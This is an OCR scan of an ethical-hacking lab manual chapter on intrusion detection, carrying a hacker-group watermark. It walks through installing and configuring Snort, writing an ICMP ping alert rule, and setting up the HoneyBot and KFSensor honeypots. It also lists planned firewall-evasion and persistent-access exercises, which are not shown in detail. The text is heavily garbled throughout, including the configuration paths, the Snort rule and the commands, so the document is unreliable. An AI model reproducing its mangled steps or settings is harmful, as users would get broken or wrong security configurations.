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Intrusion Detection Systems

An mutrigzon detection system (IDS) w5 a deve or agftwvare abplicaton that
meontors nervorkr and) ar systenes for sl aonies or *'w'.fn .;9.-.’ Tions and
proclicer FebOvir 70 4 MAIHGEEENT eation.

Lab Scenano

Adoption of Inremst nise across thronghont the bnzness wodd has in mwn boosred
netods naage; 1o protect their netororks, opAMTANONS AfE THHNg TIHONS SECmry
measnres such as fisewalls, intmson detecnon systems (TD5s), mimsion prevention
Tetemes (IP5s), honevpots, and others Metwodks ase the most preferred mpets of
"‘]‘:&5 to ;mm_au.m_ve orpaniatons’ secunty, and amckers find new wayE o
heeach netwods and attack tarpet organtnons.

To become an expert Penetrancn Tester and Secnnty Admunistrator, yon omst
possess sannd knowledge of netwods mtreson prevention systems (IP5s), mtrmsion
detection sy=tems (DS}, malicions neteods actrriry, and log information

Lab Objectives

The objective of this bb is to help smdents learn and detect intmsions in a

D:\CEH- networ, log, and view all log files. In this lab, you will learn how to:

Tecls'CEHvS
Madule 16 ®  Install and confipnre Snoot TDS
Evading 1D3, =
Firewalls and
Heneypets intrusi ®  Detect Intmders and Worms naing KF5ensor Honeypot IDNS
oh Detestion
Teols ®  Brpassing Windows Firewall Using MNmap

®  Perfoom HITP/FIP Inaneling Using HI TPort

®  Brpass Windows Server 2008 Frewall Using Eali Linmx and mamtain a
Persistent connecton with the wictim machine ning metsve

Deetect Intmiders nung HonevBot

Lab Environment
To comxplete ths kah, yom wil need:
" A compnter monine Windows Server 2012 as Host machine

= A computer mnnme Windows Server 3008, Windows 8.1, Windows 7 and
Fali Linmex as virmeal machine

WinPeap devers mstalled in Host machne

Motepad++ mstalled in Host mackine

Active Per mstalled in Host machine to mn Ped senpts
*  Adnoeniseanee povilepes to confignre settings and mn toals
" A vweb boowser wath Internet access
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P T

Lab Dburation

Tame: %) Mhrmites

Overview of Intrusion Detection System

An mtmson detection system (IDS) 15 2 dewice or software application that
momitors netwodes and ‘o systems for malicions actwity or policy wolation: and
produces epors to 3 management sation Some systems mEy sttenpt to stop an
mtmsion attempt, bor tus = nether requred nor expected of 2 monitoring system.
In addnon omanizatons nse IDPSs for other purposes, mch as sdennfpng
problems with seenoty poboes, docnumentng emstng dhwears, and deternng
mdrmicnals from molating sernnty polimes. IDPS: have become a necessary addiion
to the secnoty mfmsmenie of neady every arpanization. lany can also respond to
a detected threat by comnteractme it To do so, IDP5s me several response
techmimqes that mwohve therr stopping the attack self tms changme the secnory

SOOI,

IDP3s are primadly focused on identifring posshle meidents, logmng information
abont them, attemnpting to stop them, and seporting them to secusity adimsnistrators,

| ab Tacl
Lapn |asHs

m Pick an ompamizatcn thar you feel i= worthy of yonr attennon. Thes conld be an

edncaticnal instintion, 2 commeril company, of perdhaps 3 nonprofic chanry:
O 1 y
T FRecommended labs o assst yon in naing the D3 are:
»  Detecting Intmsions naing Sneort
»  Detecnng Mahsions Netwode Traffic Tzung HeneyBat
= Detecong Intrnders and Wooms nuny KFSenser Honeypor IDG
Erpazzng Wmdows Firewall Uzng Hmap Evasion Techniques
Brpaszng Firevrall Bnles Uzng HTTRPIFTP Tunneling
Evpasune Wmndows Fuevall and Mamminme a Persistent Connection
with a Vichm
Lab Analysis
Amalrze and dooment the resmits related to this lab exercize. Promide vour opimion
of Tone mrpet’s semary posmee and expose.

CEH Lah Manus] Tage 1300 Eshizal Hackding JIII]:':;»IIIIJ‘PHII'I’H"I:I"'! { :"':rl:. = EC-Camnell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgh™ ™™ ""*"HaCKRRMO-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Madule 16 - BudHind 185, [FinbalE] Yod Honeypots HaCkRhInO-TeaM !

Lab Environment
To conplete this Iab, yom will need:
® A compmer muning Windows Sesves 2008 as virmal machine
*  Windows server 2012 moning on host machine a3 Amackes machine

®  Gnog located at DRCEH-Tools'CEHVY Module 16 Evading 1D5, Firewalls
ard Honeypetsintrusien Deteetion Toals'Sneit Snert Installer

You can dowwnload the laest veron of Soomt  from
hetps:/ ‘oo anort. oy /doonloads. I yon decide to dovnload the latest
Temion, sereenshots osh differ

WinPrap devers mstalled 10 Host machme
*  DMotepadt+ mstalled in Host machine
" Adnuniseeatre prmilepes to confipnee settings and mn toals

| g T --
Lab Durati

Paln]
]

Time: 20 Nimtes

RS R | n ;o pre—— | -
{:"','é—_:l View of 1IFas ano .-I-}:_,'l‘:‘

An MiMson preTEnNon SFIem 15 A network secnaty appliance that monitors a

networks and systems for maboions acovity. The TPS's mam fonctions are 1o
idennfy malicions activity, log mformation abowt it, amempt to block/stop it
and epodt it.

An intmzion detection system is 3 dewice or softeare appheation that mondtors
a petwork and/or systems for malicions acuvity or policy wiclazions and
produces reports to 3 manapement station. The IDS performe mtmsion
detection and attenypts 1o stop detected inmdents.
h Tacke
Lab 1asKs
R

Bl i & Lannch Windews server 2008 Viral machine Insall Snoet.

Install Srert - To install Snost. namgate to ZCEHVE Medule 16 Evading ID5, Firewalls
and Honeypatsintrusion Deteetion Teols'Snort Snert Installer.

Diomblechck the Snort 2 9 5 & Installer.exe file The Soon mstlation
wizand appears.

If 2n Open File - Seeurity waming pop-np window appears; chek Run.
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5. Accept the License Agreement, and install Snot by selecting the defmlt
options that appear step by step in the wizard

(8 soont 295650 S|
[ Licanaa Agioeamend

Fleate revien the icence terme before inctaling Smort 29,5.6

Fress Page Dowr bo ses the rest of The agreement.

st Ar (e
fwork oEnsEom

e | » I

e Tlelll_l.P.IHr» B i s and o o

fIFS ! ¥

chaagich Lo LT 3 jiurier states that 2

i o rE

bcertion O of e OO

1f yau accept the kerma of the agreemant, dick T Agree be continue. You st accept the
agreement to retml Short £.9.5.6

FEGLTRE 1.1 Lissmu: Agmoemicry

6. Avwndow appezrs after snecessil insmllation of Snort. Chck Clese.

| @ snart 2.9.5.5 Setup r

Complened

dherwmikonad Sa B
I|'||:..".'wu1u- ot

FIGLTRE 1.2 Sewart: Sty conrgiletod
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Clck OK to exit the Sneet Installation window.

prirhiced sk
snort.corif Al o

ort bo find the rubes flas

FIGUTRE 1% Sowort Susrrindal Erodalichon Wik
8. Snostrequires WinPeap to be installed on yonr machine.
9. If yom have zlready instzlled the appheation, skip to the next step.

10. By default, Snort imstalls sself in C:Snert (T or It depending on the
disk dowe in which the OF is installed).

11. Mawgate to the ete folder m the specified location, ZNCEHD Medule 16
Evading ID5, Firewalls and Heneypetsinbrusion Detection
TeslsSnertSnort  Installer'snorbrulesiete of the Snom miles, copy
snerteonf, and paste it in CriSnertiete

! Snert.conf 1= already present m C:Snertiete; replace i with the snortmles’
Snort.eenf flo.
. Copy the se miles folder from ZHNCEHvS Medule 16 Evading IDS,

Firewalls and Heoneypotsintrusion Detection TeolsSnort'Snort
Installersnertrules, and paste it in C:Snort.

14. Copy the prepree rules folder from ZICEHVS Medule 16 Evading IDS,

Firewalls and Heneypeotsintrusion Detection TeolsSnort'Snort
Installersnortrules, and paste @ in CiiSnort. The preproc_rules folder =
already present m C:\Snert; replace this folder with the preproe rules folder
talken from wnortmles.
In the same way, copy the rules folder from ZACEHVE Medule 16 Evading
DS, Firewalls and Heneypetsintusion Detection Tesls'Snort'Snort
Installersnertrules, and paste it in CSnort. The ries folder is already
presant m CriSnert; replace it vath the miles folder mlken from ZHCEHVD
Madule 16 Evading IDS, Firewalls and Heneypoetsintrusion Detection
Teals SnertSnert Installersnertrules.

CEH Lab Munis] Page 1504 Eshical Hackdng aull(kluutrnn.runm .I' :lill\.rq,ljl!.l_' :-;. EC-Csmmell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt En0OUgh
HaCkRhInO-TeaM ! Module 18 - BikHirg 105, [k sl Y¥nd Honeypots HaCkRhInO-TeaM !

Moo navigate to CriSnert, and night-click bin;
context menn to open it i 3 conmmand prompt

Tead.
STy e o WHFFP_4{AT5HER 1D -5 AEY —-$HA H-A 2?6 —ARAR RS P2 218

=3 Bners? (=
i 2.7 . 5.6-UTHIR? GRE (Build 2B§%
in Rassoh & v Snort t BEEE A, i
it A3 Dowpoel
PLEE we 1.18 29108
g BLIN lenz L.2.3

admpen s 10y poo ket prooss ing Cpud =Lhide

L. E)
(B B

T Y Howmpoef iee. 1
1.18 I41A-RG-25
| - |

Phasfonl Addesos 1P Addpese bew 0w

P = - - A FHAE - ABHE - F A S0 - B AR f L b s b b - Bew i
FIEFANI B SRR RS E-EF7S - DS FET 1 A0 Imtrl BCI1148 POT Faxt Etkaernm

RGAR 1 AR0E | F o Bl B063 | DADA | AR G 4F 1 MELDY “Taw

3 ARyaRaaad;anan
LM B4 RRG—TEEE - ABLE-BALS -BEFATRAEDRIE BE Tusnel Iaber
FIGETRE ot W o]
biserre yone Ethernet Dirives index number and wote it down (i ths lab,
it is T}
To emable the Ethernet Diover, in the command prompt, trpe sneet —dev -
1 and press Enter.
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AALG=HALF-RAEFA TIRHER RS

i dunp s e

e Rpd
" DeydceHFP_{1350841T- 5052 -4A5R-AT75 -GRASEA P2 110

Complatn

MIHE? ORE o i BEE
BT & hEtpi .

Ing.. 5% sl.

¢ | Conrarasd
23 Leave the command prompt window open and hnnch another
conmmand prompt wando

24 In a new command prompt, type ping geegle.com and press Enter.

(%) wo [U 1
Cod Bl Mic Cavparation.

1=

= @ O

Mzl c bk sl @ e i BAR 1¢
249163 —» IPE.0AR.B,I5: 445 TCP TTL:128 TOS:8xA TR:A9721 [plenzFB Dgnle
Zegc HuFIZFPME  Aek: ScfIBCDASS Win: BwiBl Teoplesn:

A5:8d VETPHZ BA:ih-GP:AH AR -As > OABC iG-S AR R A fupe cBeBAE lon cBe Db
2-49is3 > AFZ.AGH. B . Th-S45 TCOF TTL:AZFH TOE:AxB 1P:497E2 I plen=-TE Donle

Heg: EnFIEFFME Aok SeddBCEYGE Win: BwiBB  Toplesn:

A5 PRTRTY ROz AG:GR:AR AR AL -3 BB
24016 -3 1P2L16R.8, 5445 TOP TTL

BuFEIFFME Aok @SBRI W

Lah Ml Page
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26. Close both command prompt windows. The vedficanon of Snon
mstallanon and trigpenng dert 15 complets, and Snort 55 worsng correctly
Terhose mods.
e P —— 27. Confignre the snerteonf file, located at C:\Snortiete.

B rasx 3
Configure 28. Open the snort.conf file with MNotepad++.

sneort.conf File

ELY 1o peots

jrbergs freroe and s
prochce munerl et
aypee= et -h - A fae
Atk

FIGLEE 1% Sneertconif Fie m Nohgrats+

3. Sercll dovm to the Step 21: Set the netwerk variables section (Line 41) of
mortconf file In the HOME MET Lne (Line 43), seplace any with the IP
addresses of the machme (et machine) on which Sno s menme. Hee,
the target machine 15 windows server 2008, and the TP address s 1000.0.3.

Mote: This TP address muay vary m your ah envisonmen:.

R e N — A= |
fu bl be Soew U St e pp——— :

FIGURE LI Confyprmng, Sertarnd File i Motgrb-+
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31. Leave the EXTERMAL MET any Line as it =

32 Ifyom bave 2 DMNS Server, then aake changes in the DHNS SERVERS line by
replicmy SHOME NET with your DINS Server TP address; othesonise, leave
this b as ot 15,

R L R L

o Edil fawch Vw Eveng

allireredd. Alss, sugribed TP
e

il than no-sgpiad
TP rangrs ars st abrave:l

FIGLURE L1 Cexibynumag; Sewsitcond ke m Mobgrab-+

. The same applies o SMIP SERVERS, HTTP SERVERS,
SQL SERVERS, TEINET SERVERS, and S5H SERVERS.

. Remember that if you don’t have any servers mnning on yoor machsne,
leawe the lme as it is. DO NOT make any changes m that kne
Seroll down to RULE PATH (Line 104} In Line 104 seplace Jrules wath
CiSnorteules, m Line 105 Jjse_rules seplace with C:\Snertse_rules, and in
Line 106 replace .jpreproe_rules with CrSnortipreproe_rules.

——
iyt §

. Theead ¢an e

Hh s warmahile

erwaifirer (qpesate # gl -

FIGLRE 112 Cenbyprmng; Sewstcond Fike m hobgrab-+
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36. InTenes 109 and 114, replace wimules with C:Snertvules

I:;'_I The mchule keywred

allerard rther nde Bl b b

ared sackchng the e m
dhe pilage whiens e michuls
shidemied appark it

fie

FIGLIRE 115 Conbpguong Seortoond Bl m Mobipab+

7. Mawigate to CiSnertrules, and create too texx files; name them white list
and black_list and change thesr file extensions from Jxt to sules.

. While chanping the extension. if any pop-up appears, chick Yes.

39. Sprtch back to MNotepad ++, seroll down to Step 84: Configure dynamis
loaded libraries section (Lme 238). Confipnre dynamie loaded libraties mn
thus section.

. Ar path to dynsoxc peprocessor bbmoes (Lime  243), replace
fusrilecalliblsnort_dynmamicpreprocesser with your dymamic preprocessor
bheories folder location.

.In tus lab, dynamic preprocessor  lbmnes  are  located  at
C:iSnertilibcnert_dynamispreprocessor.

. Ar path to base preprocessor (or dymamme) enpne (Line 246); replace
husrleeallibishert dynamicenginelibsf engine.se with 7omr  base
preprocessor engne CriSneartilibisnert dynamicengine'sf engine.dll

. Comment (¥ the dynamic mles lhranes ne 3= you dready confronred the
hhmnies in dynanc preprocessor Ehranies (Tine 2497,

I

FIGLRE 114 Confjpuring Sevrtcond File i Morph-+
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. Scroll down to Step #5: Cenfigure Preprecessers section (Line 253, the
bhsted preprocessor Do nothing m DS mode, but penerte errors at
IS,

45, Comment all the preprocessors hsted i this section by adding # befose each
preprocessor mile (261-263).
....:_._.._ _-__ s it — . —

1

=3
]

# Mite: Prpnsimisce

ign. se SERCIE Foect

FEGLRE 115 Confynmg Soortoond File m Mobipac+

44, Seroll down to Step 86: Configure eutput plugins (Lins 510). In ths step,
provide the location of the elassification.config and reference.cenfig file:

47. These two files are in C:iSnertiete. Provide this location of files m confipne
ontpit phogens (in Lines 529 and 530 Le, Cr\Snertiete'classification.confiy
an E:'Snortlete reference.config

B[

Fomeas: ceevhy <iissctive >
| <wabues]

FIGLRE 116 Conbjprayg Seodand Rk Mobpab-+
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43, In this step #6, add the line (331 output alert fast: alerts.ids, for Snod o
dump all logs m the alms.uhﬂle
| AR i e : —

B Moses s e
'|
b r\-

Ay, e & el v

L 5Sm:p0id iy

FICUIRE 117 Comfpamrg Sevrtiond Bl i Mo+
49. In the snertconf fle. find and replace the ipvar string with var. To do this,
press Cteivh on kevhoard. The Replace window appears, eater ipvar in the
Fired what : text field enfer var m the Replace with : text field and chck
Replace All
50. By defandt, the stong i= ipvar, which iz not recopnized by Snom, 2o seplace it
with the var sting, and then elese the wndow,
Note: Snort now opports u.11111:|p]e confipnmations based on VLAN Id or TP
subnet wathin 3 sngle mstance of Snoct This allows administrators o specify
mmitiple snort confionmton files and hind each confipnmaton to one or moe
VLAN: or subnet: mther than monme one Snogt for each confipnmtion
regquured
fReriocs

§Fnd | Aeplae .|=|'.:|1-'l=s|“='v |

Bind '\ar.IE

Reglace wath: I var

[ I Tsekection I RENAE A

Seplere Al im Al Crered

1 Oorrrmanks
Lr.l Thees: Eypes o I AL el

wisabiss oy b defined m o

SR
= Wi
= Peartraz Gearch iMode Crecson I Trersoerency
g T P e
lerest o s L on |osing facu
O Exterded (1, 0 9 = Dawn " slays
7 Regulsr svoregmon [ mabches rewdne | ‘—

FIGLRE 115 Ropbacing v wath war
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51. Click Close o dose the Replace wmndow.
52 Go to the lines 502-50T and remore back=lazh ar the end of each lne.

1=

L

Ercodrg  Leguage Tetingy Meoo Fum Pagne ety

" cC WS

1

|
sl i jonss ; Z7RG b e
ﬂu—u-.‘u-. FEATE

An D ol d8 T ik
LA A O e

FIGURE 119 Confypunng Setond Bl Mongrak+

53, Commens the Enes 501-507, as shown in the semenshaor

FIGURE 1.3} Confyprmng Sevortarnd File i Motgrk+

54 Save the snort.conf fle

Before mnnimg Snort, 7ou need to enshle detection miles in the Snodt miles
file. For this lab, we have enabled ICMP mile so that Snost can detect any
host discovery pang probes to the systes mnnine Snom

. Mavigate to C:iSnertrules and open the iemp-info.niles file with MNowepad
++

CEH Lab Mnus] Page |
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57. Type alert iemp $EXTERMAL MET any -= SHOME NET 10.0.0.3
(msg"ICMP-INFO  PING™; icode:l; itype:ll; referencemrmrachnids, 135
referencercve, 1999-0265; classtype:bad-unbknown; sid:87T2; rew:T;) in line
21 and sawe i

Mote: The IP address (10.0.0.3) menticned in $HOME NET may vary in yous

lab enviscnment

FICATRE L2: Comfyperayg mrrgranisnies Fie in Misepal= =

58, Now, mamgate to C:Snert and noht-clck folder bin, select CmdHere from
the context menmn to open it i the command pronspt

58. Type snert -iX -4 conssle -« CiSnortieteisnort.conf -1 CiSnortleg -K
aseii and peess Enter o st Snort (replice X with yonr dewmice index
mumber, i this labe X is 1),

H task s

Validate

| = Addaietratars L Aows Loy Luseiddemlins.

PETpERERN O < e

b o FIGLRE 122 Cowvrmend to dcsvahe Sert and o S sceed] kgr Sl

=Tl . If you mceme 2 fatal ervor, you shonld first verify that yoo have typed all
e modifications correctly into the snert.conf file, and then search throngh the
Start Snort file for entries matching yonr Gl error messape

. If yom secere an error stating “Could net ereate the registry key,” then

man the command prompt 25 an Administrator.
2 Snot starts monnng in IDS mode Tt first imlices ountprt plog-ins,
preprocessors, pinp-ms, load dynamic preprocessors ihmnes, mile chains of

Snort, and then logs all signatnres.
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1 enter 2l the command informaton comectly, you feceme 2 comment
nng Commencing packet processing <pid=oouc (the value of xom
may be any nember 1 is 1312

: WEEpE e
#13 SBomrosf ire. o
818 Ta1a-#G-25

i.Z.3

RORT _DETECT D _ERITKE
BF_ e wa

fomrcaciag o y tpid=i3

RE |22 Litcdeay

64 After intiabmng serface and lo
an armack and tnpper alert when attac]

. Leave the Snort command prompt mmming.

10.0.0.3 i the [P addee
in your lab environmens

FIGLURE 14 Py the tmet sineches frm
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back to Wmdows !
alarm as shown in the screenshy
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71. Go to the C:\Snortileg!10.0.0.2 folder, and open the ICMP_ECHO.ids fle
_ N vask 7 with Notepad®++. You see that all the lop entnes are saved in the
Examine Log File ICMP_ECHOLids fils.
MNote: The folder name 10002 meght vary i pour b enmisonment, depending:
on the TP address of Windews Server 2012 machine

Lo b T A 4 T

FIGRE 137 S Seuart gz Sl

72 This means, wheneves an attacker attempts 10 coNnect or ComMMBNICAte
with the machine, Snot imemediately trigpers an aliom.

73. 5o, you can become alert and take certain secunty measures to heeak the
coneEcston with the attacker’s machme.
Lab Analysis

e & oy

Amalrze and doeument the resmlts related to this lab exercize. Prowids yonr opinion
of your tacpet’s secnnity posmre and exposace.

O Yes
Platform Supported
# Classroom

CEH Lab Ml Fage 1406 Eshiral Hacldng aml Counsemseanses Copneggt Oy E-lamell
Liit

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Madule 16 - BudHind 185, [FinbalE] Yod Honeypots HaCkRhInO-TeaM !

Lab

HongyBOT iz a medinm fwteraction boneybor for window. - boneybor creates @ s
snronment 10 cipire and ierad it sneolimied e ow oa  menork
HoneyBOT 3 an eary-fo-sse solidion thar i sdeal for nemvonk secriy research or @
part af an eanfy-uarmimg 05

T — e . -
ICON KEY Lab Scenano

T “ahnakile

A honevpotr makes 3 protected doman m wiich o captare and interact with
Ao oonnog

spontaneons movement on i system HomeyBOT 15 a  simple-to-nse
#' Testyour armngement perfect for system secnory research or a5 3 feamee of an eardy-

= Wb eecie As 3 penetration tester, fon will come across systems behind firewalls that block

L Wadbook mmiew = TE% ﬂpm access 1o T_'IEE" j:f.fn:u‘mnr.im o WanL. ]'}:u:_. you ';n.h nr.—ec_l to }snln:rw_h:-w
to avoid the firewall mles in place and discover information about the host.
This step in 3 penetration testng is called Firewall Evasion Bnles.

Lab Objectives
The ohyective of thus 1ab is to help smdents learn to detect malicions taffic on a

network by nung HoneyBot.

1 okl Erus e
LAk Chvironiment

To complete dus Iab, yom will need:

* A computer monmg Window Server 2012
*  Fak Linmx moning in Virmal snachine

* Ruon thiz tool i Windows Serves 2012

HonevBot 1z locared at DOCEM-Toels'CEHvS Medule 16 Evading IDS,
Firewalls and Heneypots'Heneypot Toels HoneyBat

CEH Lah Manus] Page 1807 Eshiral Hacking amd Counermscasmes | ;"':rl:. = EC-Cemmell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgh™ ™™ ""*"HaCKRRMO-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt En0OUgh
HaCkRhInO-TeaM ! Module 18 - BikHirg 105, [k sl Y¥nd Honeypots HaCkRhInO-TeaM !

Yoo can dovnload the ktest wvemion of HoneyBor from
hitp:/ fwwrw atomicsoftearesohmons.com/. If yoo decde to download the
Iatest version, scresnshots oight differ
*  Follow the wizard deven installation steps
*  Adminstrative prvileces to ma tools
Lab Duration
Time: 10 Mirmtes
Overview of Lab
Metomodk obstmetions mich as firewalls can make mapping a netwod: excesdingdy
difficnlt. This will hkewize become increasingly more diffienlt a5 stffing casnal
reconnarsance 15 often a key poal of mplementing demices.
Lab Tasks
1. Launch the Kali Linux virmal machine before maoning ths 1ah.

. Onee the mstallaton of HoneyBot on Windows Server 2012 s
complete, make sure that the Launch HeneyBet option 15 checked. so
that the application will lanach amomanically.

Alternatively, you can lmnach HooeyBot twongh the Windows Start
menn Apps.

. 'The HoneyBot confionation pop-np appears; click Yes to confipnre
HoneyBot.

HoneyBOT

e' Wiould you like to configure HoneyBOT now?

FIGIURE 2.1: HeweyBion Configsstion prop-iug
5. The HoneyBot Options window appears with defamle options checked
on the General settings tab. Leave the defanlt settings, or modify them
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6. In this lah, we are leaving the settings to defanlt for General Optiens.

=) Cipticns E
Enal kit | Evpota | Updaic |

W ks Shart en |.;1-l-1

¥ Ensblz 5pird Sen
¥ Casdure Bnzsies

W Autanabcely Fiolats Log

Erier e sl rorvas sl Henepft DT will opeyste onrer

Trrve Hamn

|

FIGIURE 2.2 Haneyfs Cptans-Cerersd
7. Click the Email Alert tab; if you want HoneyBot to send you emal
alerts, check Send Email Alerts, and fill in the respective fislds.

. In this lab, we are not providing any details for emails alerrs.
9 Options m
Geareral Enpoits | Updagas |

Serds & dsilp spman b pour emai addiess. Ao metizall
Folate Log' must be enebled o acivale thi feghae.

T Serd Emal &lerts

Email Serer E et woug man | sarer aodiess:

Server Part a5

Flecipiant Addiess |[Erper pour email acdiese

ok | (R Apph

FIGLRE X% HesmyBed Dy Ensal Ales
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9. On the Exports @b, in which you can ezport the logs recorded by
HoneyBot, choose the mequired option to view the reports; then

proceed to the next step.
A Cptions m‘

Gereral | Emei dlen Updates

to C5W fomat “Sukomaticaly Rolale Log

LIphoecack: wour log fibes: o e cerdial nepaoling s, Padomelicaly
Finlgie Log' must be ensbled o scivale the feehae,

[ Uphad Logs o Server
Flata: Log files: e uesd o cieabs aggiagais oo of alack

tresds. Ko information dhat could idesty the [P address of 2
HongpBOT se2ncm = puchshed in lhess repols

ok Lozl

FIGURE 24 Hann Bt Optans-Frpoes

10. On the Updates tab, nncheck €heck for Updates; click Apply, and
click OK to continze.

3 Options x|
Gareral | Emai ek | Enparts

HonepBOT cai check far sersdcs updates sed res wersions of
ths apoicalion on stal vp, You cen slso dek Check fo Updale'
aty e Hedp meras

[Forecinu

FIGLRE 15 HemeyBodt Dhrtini-Upebises
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11. The HeneyBet main window appears, s shown m the screenzhot.

12. Momw, leave the HoneyBot vandow moning on Windows Server 2012

Honey AT - Lo A 3002 00 B |

o | [ 12 ST

LT3

i ik

FIGLURE 2 ey Pk Mamn Wk

13. Switch to the K&l Linng machine, open a command tesmmal windowr;
type ftp =<IP Address of the Windews Server 2012 machine> and
pres: Enter.

. Yomr are prompted for the frp credentials of the Windows Server 2012
machine.

5. In this lab, the TP addeess of Windows Server 2012 15 10.000.5, which
may differ in your lab environment.

g T T

FIGLURE 27 Runneg B commail m Kb Tinus

16. Switch back to Windows Server 2012, and expand the Perts and
Remotes node at the left side of the HoneyBot dashboard.

17. Under Perts, you can see the port mumbers from which Windows
Server 2012 recerved the requests or attacks.

15. Under Remetes, it records the IP addresses throngh whuch it received
the requests.
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19. Mow, right-chick any IP address or Pom on the left, and chick Wiew
Details, 23 shown mn fipnre, to mew the complete details of the request
of amack recogded by HoneyBot.

o80T - Log M1 hin

Fis Viw Papob

o o [ | Y IR AL” ]

FIGLURE XA: HeweyBes Capburad Trabh

20. The Packet Log window appears, as shown in sereenshot. It displays the
complete log details of the request capmired by HoneyBor

21. In the screenszhot, nnder Connection Details, you can see the Dare and
Time of the connecton established, and the protocol nsed.

22 It also shows the Sonee IP, Port, and Secver Port, as shown below.

P Loy Pt Tale

FIGLIRE 1% HemepBodt Packst Log Infermmiben

23, Sinmlanecnsly, you can ma the telnet command on the Kali Linne
machine and observe the log recorded by HeneyBet on Windows
Server 2012,

Amabyze and doemment the resalrs mlared to ths lab exercise. Prowmde yonr opomon
of your tarpet’s seeudity posmre 2nd exposne theongh public and fres informenon.

O Yes
Platform Supported

1 Classroom
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Lab

EESensor 5 a Windowr-based boneypor IDS.
ICOM KEY Lab Scenario
7 Valuahle
information Intmzion detection plays a key role m ensnang the _nt{-gm— of a spstem's seonaoty.

Meroode Intmsion Detection q_—tu&ma INIDSs) have long been the hest methad for
identifpns assanle. KFSensor 15 an INIDS thar is easy 1o insall and confionze. Mo
: special hardware is equised, and o= efficent design enables it o mn even on low-
= Wb mee specification Windows omchines.

# Testyou
ncrwledze

L Workhock seview . T become an expert Penetration Tester and Seennty Admumistrator, vom mmnst
possess sonnd Enowledse of network IPSs and TD5s, idennfy netorods malimonz
activiry znd log mnformation, and stop or block mabeons network actiry.

1 T I 1

Lap vDjecives

' D:\CEH- The objectve of thus lab 13 for stadents to leam and nndecstand TPSs and TTSs.

ToolsICEHVI In this lab, you walk

Medule 16 s _

Evading IDS, " Detect hackers and wormns in a2 netwodk
Firewalls and i
Henmeypats Honey
pat Teals

Promde netwods secnaty

Lab Environment
To conplete this lsb, yom will need:

¥ EF Sensor located at DCEH-Taois'CEHvY Module 16 Evading I1DS,
Firewalls and Heneypets Honeypet Teols KFSenser

EF Senzor mstalled in Windows 8.1

MegaPing located ar DYCEH-Tools'CEHvY Medule 16 Evading DS,
Firewalls and Honeypets Honeypet TeolsMegaPing

MegaPing mstalled m Windews Server 2012
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If yon have decided to download latest of version of these toals, then sceen
shots mught differ

Adnenisteatme pomilepes 10 confionre settings znd mn tools

Duration

Time: 10 Miomtes

i~ _ iz 3 i
i hwarviaaar ot Tha o =,
vYenrview of one Lan

EFSensor contmns a powednl internet dasmcn sermee that a5 built to bondle
mmltple ports and TP addresses. It is writen to sesst denial of sermice znd buffer
orediow attacks.

E1ﬂdmgm_uﬂexzbuhtr1’3:aenm:ﬂ.n'ﬁ o connections in 3 vanety of
ways, foom ;u:l.zpl.e port lstening and bawc semmces (such as echo), to c:mplez
snmbtions of stndard system services. For the HTTP P.mu:»ml KFSensor
aceneztely _ﬂmﬂa:esﬂmw"l.ﬁmmrtsweb zarrer (115) responds to both walid and
invalid requests. As well as being able to host 2 wehsite it also handles "r:umplmu:-s
such as mnge requests and chient ude cache nepotanons. This makes ot extremely
diffienlt for an arracker to fingerpant or identify K FSensor 23 2 honeypot.

| ! . ':I w
LAaD | asKs

MNote: Ensure that WinPeap i3 insalled before mnnme this lah,

Log it Windews 8.1 wrtnal machme.

Mavigate to ZCEHvY Medule 16 Evading IDS, Firewalls and
Hencypots'Honeypet TeolsMPSenser, donbleclck kfsensdf.exe and
follorr the wizand demren mstallation steps to install KESensor

After snstallation ot will prompt to mehoot the system Reboot the wirml
machme,

As soon as you log i o the machme KFSensor mam wandow appears
alc:ﬂgm.d::th'f’ialsuf dialog box 51:1t1ﬂ.gd:11tm11ﬂeedmmnﬂ:£
application a3 an adminisertcr. Chek Yes to close the dalop box.

Click the Windews icon at the lower-lefr comer of the Desktep.
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6. The Start scmen appears; click the dewn amew © miew the insmlled
applications in Windews 8.1,

wually = Win

= Tenifom o=
FICGURE 32 Chik o chown geverss hrs view ievatalien] g

7. Onthe Apps screen night click KFSenser, and click Bun as administrater
n the lower part of the sereen.

FEAME 3% Rusyang KFSeneor ds Ao
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8. Omn first lmnch of KFSenser, the setup wizard appears, click Next.

S i &

Fad KF%ansar Predesmrmal - Beainstion Teis

L R AR A A T R N AR T
¥ Vhiar et Up Wimmt

ERLETER

A G - Ao

up Weanl
mu Hae marhal
ecmbguration af KFSmaor.

PIGURE .4 Kwaor s Wi
0. Check all the peort classes to inclnde. and click Next
KFSensor Frafe:

4

R ‘* -: PELEL ¥ - & EERCT BB CY AT
L Ynion Sl L Wicad - Port Classss

1; 10002 - WS

A 10004 - Adrd

1 0P Pk

Smryar Skshn imiors 0

FHGLRE A5 KFmus Windo weth St Whom
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10 Uncheck all the ports with all active native services to inclode, and click
Mext.

Set Up Wizard - Native Senvices “

Forts with aclive naive mervices
=t
TICP 80 - 1S
TGP 135 -M5 APC
TP 44k - MBT SME
TCP 43152 -V

| TP 45153 - Vista Evertlog

Thesae ports are cumenily running natie ssrices
KFSaneor car moritor the oty of thaes asieling sanices. chaooan This by
checkirg the part. This & the recomended option for ssrsors laosted with
an orgarization’s rebyor.
ik ek dvireh Eal it Te slow KFSem0 oo 3 part dmeily e unchack

= part. This & somended option for 2 ssrsor mpossd

oo ety bo thea i via & public 1P addeas
Wrizand Hedn

FIGURE L6 K Whichor with St Wi
. Leawe the domam name feld set to defanlt. and click Hext.

5et Up Wizard - Domain “

M esisron

Domain Mame: (TS0 E R0

This b Tha domaiy reme Lead 1o dentlfy tha sandari

Thie could ba tha real domain rema of the maching

H wow pick 2 Actione orne. iy niot ba Use 3 & domain bedonging
somsbody sles.

EL) roisisiin cant mid
aleris by sl Thee st
a1 e th

Wizard Hal

FICILRE 17 B S S U Wisnd - T
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12 Tf yoo want to send KFSenser alerts by email specify email address detaidls,
and chick Hext.

